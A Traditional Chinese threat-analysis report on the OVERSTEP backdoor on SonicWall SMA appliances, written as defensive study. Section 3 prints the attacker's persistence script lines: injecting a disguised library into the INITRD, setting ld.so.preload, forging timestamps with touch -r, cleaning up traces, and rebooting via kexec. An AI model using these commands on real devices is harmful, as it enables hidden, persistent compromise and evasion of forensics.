1. 簡介

本報告提供針對 SonicWall Secure Mobile Access (SMA) 設備的 OVERSTEP 後門漏洞攻擊活動的技術分析。該攻擊涉及複雜的技術,通過操控系統啟動程序和動態連結器機制,實現對被滲透系統的持久控制。本分析將深入探討攻擊的技術細節,包括關鍵系統檔案的修改以及利用特定 Linux 功能來維持持久存在。攻擊者利用先前竊取的認證(Credential)和一次性密碼(One-Time Password, OTP)種子(seed)來 維持可存取,即使在設備更新後也能重新進入。

OVERSTEP 後門威脅:Linux 啟動程序漏洞的技術解密 | 資訊安全新聞

2. 漏洞攻擊活動的技術分析

2.1 啟動程序操控

OVERSTEP 後門攻擊展示了對 Linux 系統內部的深入理解,特別是關於啟動程序(Boot process)和共享程式庫(Shared library)載入的主要途徑。持久性的主要途徑涉及修改 rc.fwboot 腳本,這是系統韌體啟動序列中的關鍵組件。通過更改此腳本,攻擊者確保其惡意程式碼在啟動程序早期執行,從而對系統初始化獲得高度控制 [1]。

rc.fwboot 腳本通常在系統初始化的早期階段執行,使其成為持久機制的理想目標。與可能修改用戶空間應用程式或服務的傳統惡意軟體不同,這種方法針對基本的啟動程序,確保惡意程式碼在大多數安全機制初始化之前載入。這種技術對依賴用戶空間監控的 endpoint detection and response (EDR) 系統特別有效 [1]。

2.2 Initial RAM Disk (INITRD) 漏洞利用

此次漏洞利用的一個關鍵方面是操控 Initial RAM Disk (INITRD)。INITRD 是 Linux 啟動程序中使用的臨時根檔案系統(Root filesystem),允許 kernel 載入必要的模組並準備實際的根檔案系統。在現代 Linux 發行版中,INITRD 包含系統初始化所需的必要驅動程式、工具和腳本。攻擊者通過注入一個名為 libsamba-errors.so.6 的 malicious shared library 到 INITRD 中來利用這一點 [1]。

選擇 libsamba-errors.so.6 作為檔案名稱尤為巧妙,因為它模仿了 Linux 系統中常見的合法 Samba 庫檔案。這種命名慣例有助於惡意程式庫與合法系統組件混淆,降低在日常系統管理或鑑識分析中被檢測到的可能性。版本號“6”表明與現代 glibc 版本的相容性,確保在不同 Linux 發行版中具有廣泛的相容性 [1]。

2.3 動態連結器預載機制

ld.so.preload 檔案是 Linux 中一個強大的功能,允許用戶指定在其他程式庫(包括標準 C 程式庫)之前載入的共享程式庫。此機制是 GNU C Library (glibc) 動態連結器的一部分,旨在用於合法目的,例如 debugging、profiling 或提供系統功能的替代實現。然而,它為攻擊者提供了一個方便的方式,將其程式碼注入合法程序,有效地 hooking 函數並控制程式執行,而無需直接修改二進位檔案 [1, 2]。

當啟動動態連結的可執行檔案時,動態連結器 ( ld.so ) 首先檢查 /etc/ld.so.preload 檔案是否存在。如果該檔案存在,連結器會在載入可執行檔案所需的其他程式庫之前,載入其中列出的所有程式庫。這確保預載程式庫中的函數可以攔截並覆蓋後續載入的所有程式庫(包括系統所有程式庫)中的函數。使用 ld.so.preload 確保惡意程式庫被系統上幾乎每個程序載入,實現廣泛的持久性 [2]。

2.4 INITRD 修改程序

修改 INITRD 的程序涉及多個複雜的步驟,展示了對 Linux 檔案系統操作的高級知識。首先,使用 gzip 工具解壓縮已壓縮的 INITRD 映像 ( INITRD.GZ )。然後將解壓後的映像作為 loop device 掛載,這允許系統將普通檔案視為 Block device,從而對 INITRD 內容執行標準檔案系統操作 [1]。

掛載後,malicious libsamba-errors.so.6 檔案被複製到掛載的 INITRD 內的系統程式庫路徑,通常是 /usr/lib/ 。攻擊者小心調整檔案權限和所有權以模仿合法程式庫檔案。權限通常設為 777 (所有用戶均可讀、寫和執行),所有權設為 root:root 。雖然 777 權限過於寬鬆,可能在安全檢查中引起懷疑,但它確保該程式庫可被任何程序存取,模仿某些合法系統程式庫的權限 [1]。

此程序中一個特別精密的方面是 timestamp manipulation。攻擊者使用 touch 命令與 -r 選項,從合法系統檔案複製時間戳記到 malicious library。這項反鑑識技術使惡意檔案看起來像是原始系統檔案,幫助它與現有系統組件混淆,並可能規避基於時間戳記的檢測機制 [1]。

2.5 Kernel Execution (kexec) 技術

另一個採用的精密技術是使用 kexec kexec 系統呼叫允許執行中的 Linux kernel 載入並啟動另一個 Linux kernel,而無需經過傳統的啟動程序。這與傳統的重啟不同,因為它繞過了 BIOS/UEFI 韌體初始化、硬體檢測和引導載入器階段,實現更快的轉換到新的 kernel 狀態 [1]。

在此次攻擊環境中, kexec 有多重用途。首先,它允許立即載入修改後的 kernel 和 INITRD,而無需完整的系統重啟,這可能會警告管理員或觸發監控系統。其次,它確保對啟動程序和 INITRD 的更改立即生效,使攻擊者能夠迅速控制系統。使用 kexec 也展示了攻擊者對 Linux kernel 內部的深入理解及其利用高級系統功能進行惡意目的的能力 [1]。

3. 程式碼分析

提供的程式碼片段展示了攻擊者用於實現持久性的核心邏輯。此片段是 rc.fwboot 腳本中 bootCurrentFirmware() 函數的修改版本。該函數展示了對 Linux 系統管理和低階系統操作的精密理解。讓我們分解關鍵行及其影響:

3.1 函數結構與錯誤處理

該函數以標準日誌記錄和錯誤檢查機制開始。初始條件語句驗證關鍵啟動組件(特別是 kernel image ( BZIMAGE ) 和 initial RAM disk ( INITRD ))的存在。此錯誤檢查確保僅在必要組件可用時才進行修改程序,防止可能警告系統管理員的系統不穩定 [1]。

3.2 臨時目錄創建與 INITRD 掛載

mkdir $fwLoc/zzz
gzip -d $fwLoc/INITRD.GZ
mount -o loop $fwLoc/INITRD $fwLoc/zzz

這些指令建立了修改 INITRD 的基礎。 mkdir 命令在韌體當前位置 ( /cf/firmware/current ) 內創建一個名為 zzz 的臨時目錄。此目錄作為修改 INITRD 的暫存區域。選擇“zzz”作為目錄名稱可能是故意的,因為它出現在字母順序列表的末尾,可能在隨意瀏覽目錄時不易被注意 [1]。

gzip -d 命令解壓縮 INITRD 映像,將其從壓縮檔案轉換為原始檔案系統映像。隨後的 mount -o loop 命令將此檔案系統映像作為 loop device 掛載,允許系統將 INITRD 檔案視為已掛載的檔案系統。此技術在 Linux 系統管理中常用於修改磁碟映像,而無需實際的儲存設備 [1]。

3.3 惡意程式庫注入

cp /cf/libsamba-errors.so.6 $fwLoc/zzz/usr/lib/libsamba-errors.so.6
chown root:root $fwLoc/zzz/usr/lib/libsamba-errors.so.6
chmod 777 $fwLoc/zzz/usr/lib/libsamba-errors.so.6

這指令列代表了 malicious injection 程序的核心。 cp 命令將 malicious shared library 從 /cf/ 目錄複製到掛載的 INITRD 內的 /usr/lib/ 目錄。來源位置 /cf/ 表明攻擊者已事先將惡意程式庫放置在設備的持久儲存位置 [1]。

chown 命令將惡意程式庫的所有權更改為 root:root ,這是系統程式庫的預期所有權。這有助於惡意檔案與合法系統組件混淆。 chmod 777 命令設置檔案權限,允許所有用戶讀、寫和執行存取。雖然這些權限過於寬鬆,可能在安全檢查中引起懷疑,但它確保了在不同系統設定中的最大相容性和可存取性 [1]。

3.4 時間戳記操控與 Anti-Forensics

touch -c $fwLoc/zzz/usr/lib/libsamba-errors.so.6 -r $fwLoc/zzz/usr/lib/libsamba-errors.so

這一行展示了精密的反鑑識技術。 touch 命令使用 -c (不創建)和 -r (參考)選項,從合法的 libsamba-errors.so 檔案複製存取和修改時間戳記到 malicious libsamba-errors.so.6 檔案。此時間戳記操控使惡意檔案看起來像是與合法程式庫同時創建或修改的,幫助它規避基於時間戳記的檢測機制和鑑識分析[1]。

3.5 動態連結器預載設定

echo /usr/lib/libsamba-errors.so.6 > $fwLoc/zzz/etc/ld.so.preload

這一行代表了持久機制的核心。通過將惡意程式庫的路徑寫入 ld.so.preload 檔案,攻擊者確保其惡意程式碼將被系統上幾乎每個動態連結的可執行檔案載入。此技術利用 GNU C Library 的動態連結器功能,實現系統範圍的程式碼注入,而無需修改單獨的可執行檔案 [1, 2]。

ld.so.preload 機制特別強大,因為它在動態連結器層面運作,這是大多數 Linux 可執行檔案載入和執行的基礎。當任何動態連結程式啟動時,動態連結器檢查 /etc/ld.so.preload 檔案是否存在,並在載入程式所需的庫之前載入其中列出的程式庫。這確保惡意程式庫的函數可以攔截並覆蓋系統呼叫和程式庫函數 [2]。

3.6 INITRD 最終化與清理

sync; umount $fwLoc/zzz; sync; gzip $fwLoc/INITRD; rm -rf $fwLoc/zzz
mv $fwLoc/INITRD.gz $fwLoc/INITRD.GZ; touch -c $fwLoc/INITRD.GZ -r $fwLoc/BZIMAGE

這些命令執行 INITRD 修改程序的最終化和清理。 sync 命令確保所有檔案系統緩衝區被寫入磁碟,保證修改被正確寫入。 umount 命令卸載 INITRD 檔案系統,隨後的 gzip 命令重新壓縮修改後的 INITRD 映像 [1]。

rm -rf 命令移除臨時 zzz 目錄,消除修改程序的證據。 mv 命令將重新壓縮的 INITRD 重命名為其最終位置,最後的 touch 命令再次操控時間戳記,這次使修改後的 INITRD 看起來與 kernel image ( BZIMAGE ) 具有相同的時間戳記。此時間戳記同步進一步掩蓋了修改並維持系統完整性的外觀 [1]。

3.7 Kernel Execution 與系統轉換

/usr/local/sbin/kexec -l $fwLoc/BZIMAGE --initrd=$fwLoc/INITRD.GZ --append="`cat $fwLoc/LINUX.OPT`"
/usr/local/sbin/kexec -e;

最後兩行利用 kexec 系統呼叫載入並執行修改後的 kernel 和 INITRD。第一個 kexec -l 命令將 kernel image ( BZIMAGE ) 和修改後的 INITRD ( INITRD.GZ ) 載入記憶體,連同從 LINUX.OPT 讀取的 kernel 命令行參數。第二個 kexec -e 命令執行載入的 kernel,有效地將系統轉換到被滲透狀態 [1]。

4. 安全影響與檢測挑戰

4.1 持久機制

OVERSTEP 後門採用多層持久機制,使其特別難以檢測和移除。修改 rc.fwboot 腳本確保惡意程式碼在每次啟動週期中執行,而 ld.so.preload 機制保證惡意程式庫被系統上幾乎每個程序載入。這種雙層方法提供了 Redundancy ,並增加了即使發現一個持久機制也能維持存取的可能性 [1]。

使用 INITRD 修改特別陰險,因為 INITRD 通常不受大多數安全工具的常規完整性檢查。與可能被監控未授權更改的主檔案系統不同,INITRD 通常被視為僅在系統更新時更改的靜態組件。這使 INITRD 成為持久惡意軟體的理想藏身處 [1]。

4.2反鑑識技術

攻擊者通過使用時間戳記操控和檔案命名慣例,展示了精密的反鑑識能力。通過從合法系統檔案複製時間戳記並使用模仿合法 Samba 程式庫的名稱,malicious components 與現有系統無縫融合。這種方法顯著複雜化了鑑識分析,並可能允許長時間滲透未被發現 [1]。

攻擊程式碼中實施的清理程序也展示了對操作安全的關注。移除臨時目錄和同步時間戳記有助於消除修改程序的證據,使調查人員難以確定系統何時以及如何被滲透 [1]。

4.3 檢測挑戰

由於其低級性質和在啟動程序中早期的執行,傳統 endpoint detection and response (EDR) 系統可能難以檢測此類攻擊。惡意程式碼在大多數安全監控系統初始化之前載入,可能允許其規避檢測甚至干擾安全工具。此外,使用合法系統機制如 ld.so.preload 可能不會在未特別設定監控這些功能的系統中觸發警報 [1, 2]。

精密的時間戳記操控和檔案命名慣例進一步複雜化了檢測工作。依賴檔案簽章、時間戳記或命名模式的自動化安全工具可能因其對合法系統檔案的仔細模仿而無法識別 malicious components [1]。

5. 結論

OVERSTEP 後門漏洞攻擊活動代表了一種精密且技術先進的攻擊,展示了對 Linux 系統內部和安全機制的深入知識。該攻擊使用啟動程序操控、INITRD 修改、動態連結器預載和 kernel execution 技術,創造了一個多層持久機制,既難以檢測也不容易移除 [1]。

此次攻擊的技術精密性突顯了執行基於 Linux 的網路設備的組織的幾個關鍵安全考量。首先,保護啟動程序並對關鍵系統組件實施完整性檢查的重要性不容忽視。其次,監控系統程式庫和設定檔案(特別是 ld.so.preload )的異常修改應被視為安全運營團隊的優先事項 [1, 2]。

使用高級技術如 kexec 和 INITRD 操控表明攻擊者越來越利用合法系統功能進行 malicious purposes。這一趨勢要求安全專業人員深入了解系統內部,並實施能檢測合法功能濫用的監控解決方案 [1]。

針對此類攻擊的防禦策略必須專注於多層保護,包括啟動完整性驗證、關鍵系統檔案的執行時監控以及系統程序的行為分析。此外,組織應考慮實施應用程式白名單和程式碼簽署機制,以防止未授權的程式庫和可執行檔案執行 [1]。

OVERSTEP 攻擊提醒我們,現代網路威脅需要超越傳統基於簽名的檢測的精密防禦機制。隨著攻擊者繼續開發越來越先進的技術,安全專業人員必須通過全面的監控、威脅情報和主動防禦策略來適應這些不斷變化的挑戰 [1]。

Copyright © 2025 版權所有 翊天科技有限公司